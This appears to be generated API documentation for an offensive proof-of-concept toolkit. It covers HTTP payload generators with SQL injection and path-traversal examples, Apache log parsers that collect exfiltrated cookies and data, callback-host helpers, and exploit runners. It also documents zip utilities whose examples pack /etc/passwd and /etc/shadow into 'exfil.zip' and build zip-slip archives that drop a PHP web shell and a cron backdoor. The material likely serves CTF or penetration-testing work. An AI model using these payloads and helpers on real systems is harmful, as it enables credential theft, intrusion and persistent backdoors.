Return type:

List[BatchResult]

Generate payloads for testing different cookie values.

Examples

payloads = generate_cookie_payloads("session", ["admin", "guest", "' OR '1'='1"])
Parameters:
Return type:

List[Dict]

your_project.utils.batch_request.generate_data_payloads(field, values, base_data=None)[source]

Generate payloads for testing different form data values.

Examples

payloads = generate_data_payloads("password", ["admin", "password", "123456"])
payloads = generate_data_payloads("user", sqli_payloads, base_data={"pass": "test"})
Parameters:
Return type:

List[Dict]

your_project.utils.batch_request.generate_header_payloads(header, values, base_headers=None)[source]

Generate payloads for testing different header values.

Examples

payloads = generate_header_payloads("X-Forwarded-For", ["127.0.0.1", "localhost", "192.168.1.1"])
payloads = generate_header_payloads("Authorization", [f"Bearer {token}" for token in tokens])
Parameters:
Return type:

List[Dict]

your_project.utils.batch_request.generate_json_payloads(field, values, base_json=None)[source]

Generate payloads for testing different JSON field values.

Examples

payloads = generate_json_payloads("username", ["admin", "root", "test"])
payloads = generate_json_payloads("role", ["user", "admin"], base_json={"active": True})
Parameters:
Return type:

List[Dict]

your_project.utils.batch_request.generate_method_payloads(methods)[source]

Generate payloads for testing different HTTP methods.

Examples

payloads = generate_method_payloads(["GET", "POST", "PUT", "DELETE", "OPTIONS"])
results = batch_request_sync(
    base,
    payloads=payloads,
    validate=lambda r: r.status_code != 405
)
Parameters:

methods (List[str])

Return type:

List[Dict]

your_project.utils.batch_request.generate_multi_payloads(payloads_dict, base_kwargs=None)[source]

Generate payloads for multiple positions (like Burp Pitchfork).

Examples

payloads = generate_multi_payloads({
    "data": [{"user": "admin", "pass": "admin"}, {"user": "root", "pass": "root"}],
    "headers": [{"X-Token": "abc"}, {"X-Token": "xyz"}]
})
Parameters:
Return type:

List[Dict]

your_project.utils.batch_request.generate_param_payloads(name, values, base_params=None)[source]

Generate payloads for testing different URL parameter values.

Examples

client = httpx.Client()
base = client.build_request("GET", "http://target/api", params={"page": 1})

payloads = generate_param_payloads("id", range(1, 100))
results = batch_request_sync(base, payloads, validate=lambda r: r.status_code == 200)
Parameters:
Return type:

List[Dict]

your_project.utils.batch_request.generate_path_payloads(paths, base_url=None)[source]

Generate payloads for testing different URL paths.

Examples

# Test different API endpoints
payloads = generate_path_payloads([
    "/api/v1/users",
    "/api/v2/users",
    "/api/users",
    "/.git/config"
])

# Or with base URL
payloads = generate_path_payloads(
    ["1", "2", "999999", "../admin"],
    base_url="http://target/api/users/"
)
Parameters:
Return type:

List[Dict]

Apache Hooks

Apache log parsing utilities.

Use this when you need to read callbacks from Apache logs instead of the built-in server.

Parses Apache access.log for both query and path parameters:

  • Query parameters: /?cookie=data or /?exfil=data

  • Path parameters: /cookie/data or /exfil/data

Works similarly to server_hooks.py but reads from log files.

your_project.utils.apache_hooks.find_param_in_logs(log_file, param_name, timeout=30)[source]

Search Apache logs for a specific parameter (query or path-based). Returns the MOST RECENT occurrence (last match in file).

Searches for both:

  • Query parameters: ?param_name=value or &param_name=value

  • Path parameters: /param_name/value

Parameters:
  • log_file (str) – Path to Apache access.log

  • param_name (str) – Parameter to search for (e.g., ‘cookies’, ‘exfil’, ‘cookie’)

  • timeout (int) – Max seconds to wait for log file to exist

Returns:

Parameter value (most recent) or None if not found

Return type:

str

Get cookie value from Apache logs.

Supports both query and path parameters:

  • Query: /?cookies=value or /?cookie=value

  • Path: /cookie/value

Parameters:
  • log_file (str) – Path to Apache access.log

  • timeout (int) – Max seconds to wait

Returns:

Cookie string (auto-decoded if base64) or None

Return type:

str

your_project.utils.apache_hooks.get_exfil(log_file='/var/log/apache2/access.log', timeout=30)[source]

Get exfiltrated data from Apache logs.

Supports both query and path parameters:

  • Query: /?exfil=value

  • Path: /exfil/value

Parameters:
  • log_file (str) – Path to Apache access.log

  • timeout (int) – Max seconds to wait

Returns:

Exfiltrated data string or None

Return type:

str

your_project.utils.apache_hooks.get_param(param_name, log_file='/var/log/apache2/access.log', timeout=30)[source]

Get any custom parameter from Apache logs.

Parameters:
  • param_name (str) – Query parameter name to search for

  • log_file (str) – Path to Apache access.log

  • timeout (int) – Max seconds to wait

Returns:

Parameter value (URL-decoded) or None

Return type:

str

your_project.utils.apache_hooks.parse_apache_line(line)[source]

Parse Apache combined log format line.

Example line:

::1 - - [13/Oct/2025:13:20:01 -0700] "GET /?cookies=test HTTP/1.1" 200 3454 "-" "Mozilla/5.0..."
Returns:

timestamp, method, path, query_params, path_params, status. Also extracts path-based parameters like /cookie/data or /exfil/data

Return type:

dict with

Parameters:

line (str)

your_project.utils.apache_hooks.tail_log(log_file, start_pos=None)[source]

Read new lines from log file since last position.

Returns: (new_lines, new_position)

Parameters:
  • log_file (str)

  • start_pos (int)

Return type:

tuple

your_project.utils.apache_hooks.watch_log(log_file='/var/log/apache2/access.log', params=None)[source]

Watch Apache log in real-time and print interesting parameters.

Monitors for both query and path parameters:

  • Query: /?param=value

  • Path: /param/value

Parameters:
  • log_file (str) – Path to Apache access.log

  • params (list) – List of parameters to watch for (default: [‘cookies’, ‘cookie’, ‘exfil’])

Network

your_project.utils.network.get_callback_host()[source]

Get the best callback host address (prefer tun0).

your_project.utils.network.get_interfaces()[source]

Get network interfaces and their IPv4 addresses.

your_project.utils.network.get_local_ip(exclude_loopback=True)[source]

Get the primary local IP address.

Paths

Path utilities for POC projects. Provides consistent access to project directories.

your_project.utils.paths.ensure_dirs_exist()[source]

Create all required directories if they don’t exist.

your_project.utils.paths.get_log_file(filename='server.ndjson')[source]

Get the absolute path to a log file.

your_project.utils.paths.get_logs_dir()[source]

Get the absolute path to the logs directory.

your_project.utils.paths.get_payloads_dir()[source]

Get the absolute path to the payloads directory.

your_project.utils.paths.get_project_root()[source]

Get the absolute path to the project root directory.

your_project.utils.paths.get_servers_dir()[source]

Get the absolute path to the servers directory.

Process

Simple process execution for POCs

your_project.utils.process.run(cmd, timeout=30, input_data=None)[source]

Run a command and return output

Parameters:
  • cmd – Command string or list

  • timeout – Timeout in seconds

  • input_data – Optional stdin data

Returns:

(stdout, stderr, returncode)

Examples

# Run simple command
stdout, stderr, code = run("echo 'test'")

# Run with arguments
stdout, stderr, code = run(["./exploit", "target.com", "1337"])

# Send input to stdin
stdout, stderr, code = run("./vulnapp", input_data=payload)

# Check success
stdout, stderr, code = run("./exploit")
if code == 0:
    print(f"Success: {stdout}")
else:
    print(f"Failed: {stderr}")

Zip Utilities

Simple zip utilities for POC projects. Quick and dirty functions for zipping files and folders.

Note: All functions return Path objects (from pathlib).
  • Path objects work directly with most APIs expecting strings

  • To convert to string: str(zip_path)

  • Examples: zip_path = zip_file(‘test.txt’) # Returns Path

    path_str = str(zip_path) # Convert to string

your_project.utils.zip_util.extract_zip(zip_path, extract_to=None)[source]

Extract a zip file (bonus utility).

Parameters:
  • zip_path – Path to the zip file

  • extract_to – Where to extract (defaults to current dir)

Returns:

Path to extraction directory or None

Examples

extract_zip('data.zip')
extract_zip('archive.zip', '/tmp/extracted/')
your_project.utils.zip_util.quick_zip(path, output=None)[source]

Quick helper - automatically detects if path is file or folder and zips it.

Parameters:
  • path – Path to file or folder

  • output – Output zip path (optional)

Returns:

Path to created zip file or None

Examples

quick_zip('/etc/passwd')
quick_zip('../important_stuff/')
your_project.utils.zip_util.zip_file(file_path, output_path=None, name_in_zip=None)[source]

Zip a single file (can be from another directory).

Parameters:
  • file_path – Path to the file to zip (str or Path)

  • output_path – Where to save the zip (defaults to file_name.zip in current dir)

  • name_in_zip – Name of file inside the zip (defaults to filename only) Can include path traversal for zip slip: ‘../../../etc/crontab’ Maps to ‘arcname’ parameter in zipfile library

Returns:

Path to the created zip file

Examples

zip_file('/etc/passwd', 'stolen_passwd.zip')
zip_file('../secret.txt')  # Creates secret.zip in current dir

# Zip slip - file extracts to ../../../evil.sh
zip_file('payload.sh', 'malicious.zip', name_in_zip='../../../evil.sh')
your_project.utils.zip_util.zip_folder(folder_path, output_path=None)[source]

Zip an entire folder (recursively).

Parameters:
  • folder_path – Path to the folder to zip (str or Path)

  • output_path – Where to save the zip (defaults to folder_name.zip)

Returns:

Path to the created zip file

Examples

zip_folder('/home/user/documents', 'exfil_docs.zip')
zip_folder('../sensitive_data/')  # Creates sensitive_data.zip
your_project.utils.zip_util.zip_multiple(paths, output_path='archive.zip', names_in_zip=None)[source]

Zip multiple files/folders into a single archive.

Parameters:
  • paths – List of paths (can mix files and folders)

  • output_path – Where to save the zip

  • names_in_zip – Optional list of custom names for files in zip (must match paths length) Can include path traversal for zip slip attacks Maps to ‘arcname’ parameter in zipfile library If None, uses default naming

Returns:

Path to created zip file or None

Examples

# Normal usage
zip_multiple(['/etc/passwd', '/etc/shadow'], 'exfil.zip')

# With custom names (zip slip)
zip_multiple(
    ['payload1.txt', 'payload2.txt'],
    'malicious.zip',
    names_in_zip=['../../../var/www/shell.php', '../../../../etc/cron.d/backdoor']
)